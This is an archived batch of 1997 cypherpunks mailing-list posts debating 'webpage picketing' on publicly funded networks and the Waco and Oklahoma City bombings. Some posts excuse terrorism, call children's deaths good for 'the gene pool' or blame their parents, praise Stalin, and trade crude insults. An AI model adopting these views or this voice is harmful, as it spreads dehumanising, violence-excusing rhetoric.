Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 5 Jun 1997 10:23:53 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706050148.UAA04173@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Wed, 04 Jun 97 10:00:46 -0500
> Subject: Re: Webpage picketing (fwd)

> I think that your analogy is slightly flawed.
> 
> While the farmers have a right to protest on the side of the road they do
> not have a right to interfere with the travelers on the road.

Correct and using my model would in no way interfere with a users use of the
network. It would not add excessive delay or other impedemants. It would be
a one time event that occured when the site was initialy accessed. Much like
having to go past the picketers on the side of the road at least once.

> There is no real way you could picket on the "Info highway" as you have no
> right to interfere with the packets traveling on the highway. You can
> stand of to the side if you want but somehow I don't think that the
> packets will be watching. :)

If it is a fully privately funded highway, I agree. If it accepts public
money I obviously disagree with you. As to the packets watching, no more so
than the cars being used are watching the picketers. This is a straw man
argument. The issue here is not the packets but the paticipants.


   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 5 Jun 1997 10:32:46 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706050157.UAA04256@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "Peter Trei" <trei@process.com>
> Date: Wed, 4 Jun 1997 11:33:54 -6
> Subject: Re: Webpage picketing (fwd)

> [Jim wants to be able to 'cyber-picket' - force people to read his 
>  opinions before they can browse sites he does not like. He is 
>  attempting to claim that the net backbones corrospond to public
>  spaces, where his local government permits him to picket.]

Quit taking the drugs they are affecting your attention span.
You should also quit trying to divine persons motivation, you are terrible
at it.

> 'Publically funded network backbones'? Can you name one (in the US)? 

Actualy I have already named two.

> None of which have the slightest relevance - Internet II is a 
> proposed (and still vaporware) project for an academic-research-only
> network

Actualy the Internet II documents that I have seen have specificaly
mentioned letting students at public schools use them as well as people
doing research both private and publicly funded. I understand that it should
start to take physical shape just after the turn of the century.

The High Speed Supercomputer network is also going to be available for use
within just a  couple years as well. 

 - it's future existence has no impact on those of us using
> the private backbone system of today.

You have obviously missed the entire point, today is not the issue. It is
tomorrow that we should be looking at and the clear indications that Uncle
Sam puts out about funding/supporting future expansion. The federal
government can't afford to keep its fingers out of the pie.

> Question: if you get the ability to put up your 'cyber-picket' frame,
> how about cyber-counter-pickets? Cant the picketee put a page in 
> front of yours? Who gets priority? Where does it stop? 

Yes. Yes. First come first served. When the funds run out.

> Jim, your idea is roadkill on that horribly imprecise analogy, 
> the 'information superhighway' (spit). It can't be resuscitated 
> by asking for 'information super-sidewalks' or claiming the existance 
> of 'information super-public-spaces'. The underlying metaphor is 
> fatally flawed.

In your opinion, which so far has been nothing but inuendo, ad hominim
arguments, and pure opinion. How about some reasoning to go along with 
it?


   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Thu, 5 Jun 1997 12:06:20 +0800
To: Tim May <tcmay@got.net>
Subject: Re: A Fair Trial for the Waco Raiders...is it too much to ask for?
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <33963977.1E2D6DCE@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> Why is it so radical to ask that a criminal trial be held for those
> responsible, and all participants, and that the appropriate penalties
> be meted out if any of those charged are found guilty? Texas is very
> liberal with the lethal injections, so what's the big deal about
> having a trial and giving the needle to a dozen or so of the BATF
> leaders?

You're forgetting that guilt is decided by the DA when he brings the
case, not by the jury.  After all, if the accused wasn't guilty, he
wouldn't have been charged, right?

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 10:20:05 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706050209.VAA26685@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706042335.TAA16934@muesli.ai.mit.edu>, on 06/04/97 
   at 07:35 PM, Hallam-Baker <hallam@ai.mit.edu> said:



>Since its clear that the McVeigh appologists are simply repeating
>arguments from alt.conspiracy I don't think theres much point continuing
>the thread.

>There is absolutely nothing that anyone did that justified McVeigh's
>murder of the kids in the daycare center or anyone else. Frissel,  Gieger
>and co are simply trying to distract attention from that fact.

No not at all Phil, while I can't speak for anyone else on the list I
myself am try to bring to attention that no one cared about the children
at Waco that were burned alive at the hands of the BATF. The general
opinion was that those children shouldn't have been there and it was the
fault of the Branch Dividians that the BATF murdered them.

Now the same thing happens to some Federal Employes and now we hear the
cries, and wails, "oh the humanity", "the children the children".

Where was the outrage and demands for justice for the children of Waco.
They were just an "evil cult" their children deserved to burn. I have
heard this logic whispered by more than 1 Federal pig. I for one am sick
and tired of hearing these two faced bastards wine and cry when it happens
to them by cheer when it happen to someone else.

>Hell, if we were to take them seriously they would have to all be FBI
>agents attempting to entrap the unwary...

>	Phill

>PS: Could the FBI agent monitoring the list tell us where to send in
>evidence in connection with the Bell case?

Don't worry Phil they know what a good little sheep you are and are
confidant that you will do your duty when it comes time to fill the ovens.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 5 Jun 1997 11:29:40 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199706042203.PAA11358@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970604211637.71522A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> May Timothy C. Mayo's forgeries get stuck up his ass 
> so he'll have to shit through his filthy mouth for the 
> rest of its miserable life.
> 
>            o       o
>          /<         >\ Timothy C. Mayo
>          \\\_______///
>          //         \\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 12:25:37 +0800
To: cypherpunks@toad.com
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <199706041913.OAA20798@mailhub.amaranth.com>
Message-ID: <wTXs8D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:
> For the most part thoses labeled as "terrorist" are the one who are
> fighting against an aggressor. Most terrorist don't just wake up one
> morning and decide to start blowing things up. They only become active
> after a foreign power attacks them and they react in self defence no
> different if some one breaks into you house and you shoot them (I am sure
> that there are some liberal winnies here who think that selfdefence is
> wrong).
...

Rant: I think Joseph Stalin was a cool guy, even though he had my great-grandpa
shot (who was btw a U.S. citizen).

One of the many interesting contributions Joe Stalin made to the Marxist
theory was the observation that the class struggle intensifies as the
old mode of production becomes obsolete; and that there's really no difference
between "terrorist acts" and government-sponsored violence and economic
deprivation.  You might view the second statement as the generalization of
Klauzewitz's (or Bismarck's?) maxim that war is the continuation of foreign
policy by other means.

Consider, for example, the evolution from the feudal mode of production
to capitalism in Spanish Netherlands. The representatives of the Spanish
King first tries to suppress the emerging capitalism by increased regulation
and taxation. When that failed, they resorted to mass executions and
confiscations under the guise of fighting Protestants.

Consider, for example, a Black child in the United States who dies of
a trivial curable disease because of the lack of health care. Consider
the child's parents who labor "off the books" in menial jobs, who are
deprived by the state from the ability to marry, to work "on the books",
to hold a bank account, et al. Is being deprived from the results of one's
labor that different from being sold at an auctioned and whipped in
a public ceremony to terrify other (wage) slaves?

Joe Stalin himself took part in several spectacular terrorist acts in
his youth, which resulted in deaths of dozens of "innocent bystanders".

What I'm driving at is: someone said earlier that Cypherpunks don't make
bombs, Cypherpunks write code. Well, my response is, if you write code
for anonymous electronic commerce that seriously challenges the gubmint,
in a free market environment, then the gubmint will first try to regulate
it out of existence, and if it fails, it will use whatever force is
necessary, including jailing and shooting people, to fight for it survival.
The obsolete ruling class is doomed by thr inevitable historical process,
but it will put up a tremendous fight before giving up its ghost.

Prepare for crypto to be criminalzed. Prepare for the former cpunks who
"sold out" (C2Net and the like) to support criminalization of crypto use
within the U.S. in exchange for a possible relexation of export rules.
Prepare for any instrument that resembles bearer bonds to be outlawed.
Prepare for Internet gambling to be outlawed. Prepare for class struggle.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 10:44:29 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706050148.UAA04173@einstein.ssz.com>
Message-ID: <199706050238.VAA27313@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706050148.UAA04173@einstein.ssz.com>, on 06/04/97 
   at 08:48 PM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

>Hi,

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Wed, 04 Jun 97 10:00:46 -0500
>> Subject: Re: Webpage picketing (fwd)

>> I think that your analogy is slightly flawed.
>> 
>> While the farmers have a right to protest on the side of the road they do
>> not have a right to interfere with the travelers on the road.

>Correct and using my model would in no way interfere with a users use of
>the network. It would not add excessive delay or other impedemants. It
>would be a one time event that occured when the site was initialy
>accessed. Much like having to go past the picketers on the side of the
>road at least once.

I guess we will have to agree to disagree. If I am stoped even once that
is one time too many. In the real world if a group of picketers try to
impead my entrance to a store parking lot the growl of a 427 does alot to
convince them of the errors of their ways. :)

>> There is no real way you could picket on the "Info highway" as you have no
>> right to interfere with the packets traveling on the highway. You can
>> stand of to the side if you want but somehow I don't think that the
>> packets will be watching. :)

>If it is a fully privately funded highway, I agree. If it accepts public
>money I obviously disagree with you. As to the packets watching, no more
>so than the cars being used are watching the picketers. This is a straw
>man argument. The issue here is not the packets but the paticipants.

Yes and it is the participants who are sending the packets. If I am
sending packets between point A & B you have no right to interfere with
those transmisions. You donot have the right to re-route them or substute
them for others. If you have somthing to say put up a web page and if I am
interested I'll stop by and take a look. You don't have the right to force
me to look. To do so would be a serious perversion of the 1st Amendment.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 5 Jun 1997 09:46:33 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: Re: McVeigh
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <0nZVXb200YUd0MAqc0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain



Hallam-Baker <hallam@ai.mit.edu> writes:
> Only I think that the SAS is probably better experienced.
> 
> 
> > The Feds could have done in 1993 what they've done since (Koresh wasn't the 
> > only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE.
> 
> yeah peacefull types whose response to a visit from the police was to
> lie in ambush and shoot at them with automatic weapons.
>
> So are you suggesting that the police ignore the complaints of illegal
> ownership of firearms and child abuse?

Tens of highly armed ninjas running at ones property does not
constitute a "visit." More like an "attack." If the ATF agents had
been neighbors of the Davidains, then the Davidians would have been
well within thier rights to shoot them down.

The proper thing to do would be to walk up and knock on the door. The
local sherrif suggested that percise action. However, the unassailable
feds in their ivory towers couldn't be bothered to ask any local
officials before the raid.

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 5 Jun 1997 11:21:07 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706050245.VAA04463@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Wed, 04 Jun 97 21:38:40 -0500
> Subject: Re: Webpage picketing (fwd)

> >Correct and using my model would in no way interfere with a users use of
> >the network. It would not add excessive delay or other impedemants. It
> >would be a one time event that occured when the site was initialy
> >accessed. Much like having to go past the picketers on the side of the
> >road at least once.
> 
> I guess we will have to agree to disagree. If I am stoped even once that
> is one time too many. In the real world if a group of picketers try to
> impead my entrance to a store parking lot the growl of a 427 does alot to
> convince them of the errors of their ways. :)

Whew, talk about fixated. NOBODY is talking about stopping anything but you,
THAT would be unconstitutional. I am NOT saying that such a situation would
prevent you from reaching your destination (ie the store) but it would
require you to pass through the picket line (ie get a single page as your
first responce to your request) and be exposed however briefly to their
speech.

> Yes and it is the participants who are sending the packets. If I am
> sending packets between point A & B you have no right to interfere with
> those transmisions.

You are right, I WOULD  have a right to interfere with their reception which
is after all what I am talking about. I am in no way discussing slowing or
otherwise altering the request from the user, I am specificaly talking about
adding a single page to the servers output. Straw man.

> You donot have the right to re-route them or substute
> them for others. If you have somthing to say put up a web page and if I am
> interested I'll stop by and take a look. You don't have the right to force
> me to look. To do so would be a serious perversion of the 1st Amendment.

Absolutely, and none of this has anything whatsoever to do with the issue at
hand. Another straw man. If you are using a publicly funded thoroughfare I
CAN consitutionaly FORCE you to see my message if YOU insist on going to
that particular store. It isn't the user who is being picketed, it is the
server. You as a user of the system have nothing to say about it, unless as
alluded by another cpunk you want to picket the picketers (which is
completely legal and happens quite often).

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 12:25:03 +0800
To: cypherpunks@toad.com
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <Pine.3.89.9706041516.A12832-0100000@netcom19>
Message-ID: <qyys8D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> Some on this list will even
> say that the kids' deaths fortunately
> reduced the negative impact their parents can have on the gene pool.

Good point, Lucky.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 5 Jun 1997 11:27:07 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706050252.VAA04510@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: frissell@panix.com
> Date: Wed, 04 Jun 1997 22:39:56 -0400
> Subject: Re: Webpage picketing (fwd)

> The Net is technically and legally a private value-added network.  The last 
> bit of the then existing backbone was privatized the weekend following the OKC 
> bombing in April 1995.  (No relation)

Yes, and there is not one law on the books preventing the government from
putting in their own backbones in the future, which is exactly what they
are planning on doing. Which is what I am talking about. This temporal
displacement argument is a straw man.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 13:07:23 +0800
To: cypherpunks@Algebra.COM
Subject: Anarchy, Peter Pan, and Insults
In-Reply-To: <19970604173133.51738@bywater.songbird.com>
Message-ID: <v03102807afbbf55a7e2d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:14 PM -0700 6/4/97, frissell@panix.com wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>>Yes, some pathetic strange little boys swaggering around in never-never
>>land.  Lonely individuals with shriveled hearts, stunted morals, and
>>feverish imaginations, who brag contemptuously of their superiority
>>over "sheeple", and boast of their heroic roles in the coming
>>revolution.
>
>I hope you're not referring to Lucky, or Time May, or me.  Lucky has a
>successful career in a computer-related field.  Tim was exceedingly well-
>integrated into the work force at Intel and did a great deal of valuable and
>lucrative work for them.  I am married with four children (who I never
>sent to
>a government school) and get along well with a host of friends and
>co-workers.
> I have achieved a modicum of success as a writer and speaker.  I happen
>to be
>a neo-victorian myself.
>
>Why is it that when someone like Al Gore expresses strong and extremist views
>as he did in "Earth in the Lurch" (or whatever that book was called) no one
>ever claims that he is " a pathetic strange little boy swaggering around in
>never-never land.  A lonely individual with a shriveled heart, stunted
>morals,
>and a feverish imagination."

Like I said, Duncan, Kent Crispin is in that terminal phase of simply
insulting the list in any way he can...which is apparently pretty feebly.
Perhaps he can contract with Vulis to use the 'bot Vulis uses to post his
daily ASCII art insults.

Imagine it: Everyday we could see a Crispingram: "Timmy Peter Pan May is
just another strange little boy swaggering around in never-never land."

By the way, this is why I urge some caution in criticizing Phill
Hallam-Baker. Phill is a liberal and anti-gun person, and perhaps even a
Clinton supporter. (Gasp.) But he, while as abrasive on his issues as we
are on ours, seldom resorts to the kind of puerile criticism Crispin uses.

Hell, some of my best conversational friends are commies! (Dave Mandl, for
example)

(Those who have a deeper understanding of anarchy, whether
anarcho-capitalism or more leftist variants, tend to understand that the
underlying similarities are greater than the differences. Though I favor
unrestricted free markets, I understand that corporate agents, like
Microsoft, PGP, and RSA, will seek advantage anyway they can, and are a
threat in any statist system. Anarchy lessens their power in more ways than
one. I will continue to fight my left-anarchist friends on issues like gun
control and freedom of association, but we seem to agree that reducing
power of central governments remains a good thing.)


--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 5 Jun 1997 10:40:31 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Waco
In-Reply-To: <3.0.2.32.19970604165830.0078e268@panix.com>
Message-ID: <3.0.2.32.19970604222321.006f3c90@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Phil,

Look, I know you're somewhat anti-private guns and somewhat anti-Right Wing 
Nuts.  I can understand all that.  I'm somewhat anti-government guns and 
somewhat anti-Left Wing Nuts myself. 

So don't take the word of right wing nuts on WACO.  Pay attention to former 
Attorney General Ramsey Clark as he sues the Feds on behalf of the survivors.

Or read the review of the new documentary WACO: THE RULES OF ENGAGEMENT which 
premiered at Sundance.  

http://www.waco93.com/

http://www.waco93.com/sfbgreview.htm

San Francisco Bay Guardian March 12, 1997  (SF's Alternative Weekly)

Rewinding Waco

New doc Waco turns heads, hearts. By Susan Gerhard

"I've always voted Democrat," William Gazecki, director of crowd-displeaser 
Waco: The Rules of Engagement, told me over the phone last week. "But at this 
point, all the lines are crossing in my mind."

Ours, too. One of the most achingly sad documentaries I can remember, 
Gazecki's film sounds, on paper, more like a morning with Rush Limbaugh than 
like an evening screening at the Roxie (where it got its first theatrical run, 
last week). In Waco's world the gun "nuts" are sane, the conservatives are 
honest, the liberals are pigs, the children are in danger. The doc left even 
slackers in Roxie's rep house stunned, their ideologies scrambled and their 
consciences scarred by a slow-motion,two-hour-plus replay of the slaughter of 
a peaceful sect.

How can a jury look at the Rodney King videotape and not see a police beating? 
The same way the American people can look at the Waco inferno and see a mass 
suicide.

A radical reframing suited up in pin-striped documentary garb, The Rules of 
Engagement mixes footage that's already been heavily digested by interested 
parties: Waco in flames, forward- looking infrared (FLIR) imagery seen by 
Congress, CSPAN's coverage of the Waco hearings, David Koresh's pleas, Janet 
Reno's testimony. But this film adds to that tabloid mix some desperate 911 
calls by Branch Davidians, sections of the negotiation tapes that offer a 
dismal perspective on FBI attempts to come to a truce, the Davidians' footage 
and that of the FBI agents (a SWAT teamster jokes about being "honed to kill," 
while Davidians inside calmly express fear for their lives). Most crucially, 
the soundtrack lays new emotional cues over old footage (a Third Reichian 
drumbeat as federal agents approach, heavy-metal guitar tangle as tanks crash 
into the building). And in case anyone's sympathy for the Davidians was 
lagging, the film also has witnesses noting that armed federal agents killed 
their Alaskan malamute.


**********

Showing at

THE COOLIDGE CORNER
    Brookline, MA

    Showing daily 
    June 27 - July 4


DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 11:48:38 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706050245.VAA04463@einstein.ssz.com>
Message-ID: <199706050345.WAA28246@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi Jim,

Lets drop the analogies for a moment. :)

Now if I understand you (and feel free to correct me) this is what you
wish to do:

I as Joe Sixpack want to goto http://www.bigtits.com

You as goodie-2-shoes want to picket this site.

Inorder to do this you wish to have me goto http://www.NOW.com and see
their anti-porn page before I can see the bigtits page. (wether I actually
goto their website or the page is automatically downloaded is irrelevant
for the disscusion).

Now as Joe Sixpack I do not want to see the anit-porn page from the NOW I
want to see the bigtits page at www.bigtits.com

Where exactly is it in the constution that say that your free speech
rights extend to the point where you can force me to read what you have to
say when I don't want to?

I just don't see how you can make this leap regardless of who is doing the
funding.

BigTits have their 1st Amendment rights to free speech the same as the
NOW. BigTits puts up their web site & NOW puts up theirs. I now can make
my choice of who's speech I wish to listen to. If I decide to listen to
BigTits that is my right to do so and if I want to listen to NOW that is
also my right.

I'll leave the numerous analogies alone for a latter post. I just don't
see where anyone has the right to tell me what I must read.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 5 Jun 1997 10:51:07 +0800
To: "Peter Trei" <cypherpunks@EINSTEIN.ssz.com
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706041452.JAA01618@einstein.ssz.com>
Message-ID: <3.0.2.32.19970604223956.03965ddc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:33 AM 6/4/97 -6, Peter Trei wrote:
>'Publically funded network backbones'? Can you name one (in the US)? 
>NSFnet and ARPAnet are long dead. Back when they were active, there was 
>considerable debate about the legality of commercial speech on the 
>net, and earlier, doubts about the legality of any traffic (including 
>private email) which was not in support of government funded research.
>(the first big mailing list, the SF-Lovers Digest, had a 
>quasi-underground existence for many years due to this worry).

The Net is technically and legally a private value-added network.  The last 
bit of the then existing backbone was privatized the weekend following the OKC 
bombing in April 1995.  (No relation)

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 5 Jun 1997 13:48:35 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: McVeigh is not the issue!
In-Reply-To: <Pine.LNX.3.91.970603182957.90A-100000@fatmans.demon.co.uk>
Message-ID: <v03102809afbc01d62f74@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>(The airlines claim the FAA is requiring traveller identity. Maybe yes,
>maybe no.

Traveler ID is not 'required', however if you don't possess a government
issued ID and/or have paid for your ticket via cash within 48 hours of
departure expect some delays in your travel and a through search of your
baggage.

>Any extension to further "position escrow"
>(which is what I call the increasing requirements that citizen-units report
>their identities when travelling) would, as I understand the Constitution,
>violate various freedoms to move about with government interference.)
>
>These are the serious issues.

Yes, they are and the Feds are tip-toeing around the matter ever so lightly
so as not to have the ACLU on their case.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 16:13:08 +0800
To: Chris DiBona <chrisd@loc201.tandem.com>
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <Pine.LNX.3.91.970604223937.624B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> As to the Children of OKC, people who turn the care of their children 
> over to government employees or contractors do not place too high a 
> value on those children.

I certainly don`t agree that a high value was not placed on the lives of 
the children by their parents, but the parents were guilty of naivety, 
stupidity and placing the children at risk.

> think those children who died weren't cared for? You are a sick person who
> should seriously consider therapy. Anyone who read this and said "Yeah!" 

I certainly feel the parents, though guilty of no crime, have only 
themselves to blame for the needless deaths of their children.

> understand this? There is no reason to blow up kids. It's wrong. For any 
> reason.

Of course, but the children shouldn`t have been there in the first place. 
McVeigh, if he did it, is guilty of murder, on those children alone. He 
commited an initiation of violence against innocent and defenceless human 
beings, this is why I believe the bomber, whoever he/she is, should die 
for their crimes, BUT, the childrens lives were placed at risk by their 
parents because they believed they would be safe in a federal government 
building, very bad move. I`m not absolving McVeigh from guilt, just 
pointing out basic facts.

> who may be important to you have parents who "care" about them enough to
> scour the planet to find a good,safe day care that isn't withing the blast 
> radius or
> shooting range of :
> 
> A government office.
> A large corporations headquarters.
> A law firm.
> A post office.
> A town square.
> A restaurant.
> A bank.
> Anywhere some asshole might have a gun and go loopy.
> Anywhere some asshole might have a car be drunk and go loopy.
> Anywhere some asshole might have a gun and a car and be drunk and go loopy. 

The bottom 3 suggestions are clearly an excessive over-generalisation of 
the point, the parents could not really be reasonably expected to believe 
their children would be harmed by a crazed gunman. As for the drunk 
driver, do you let your kids run unattended on busy roads?

Placing them in a federal building was a stupid act, not criminal, but 
most definitely not the act of a sensible person.

> To all the dipshits who could possibly think otherwise. I should also 
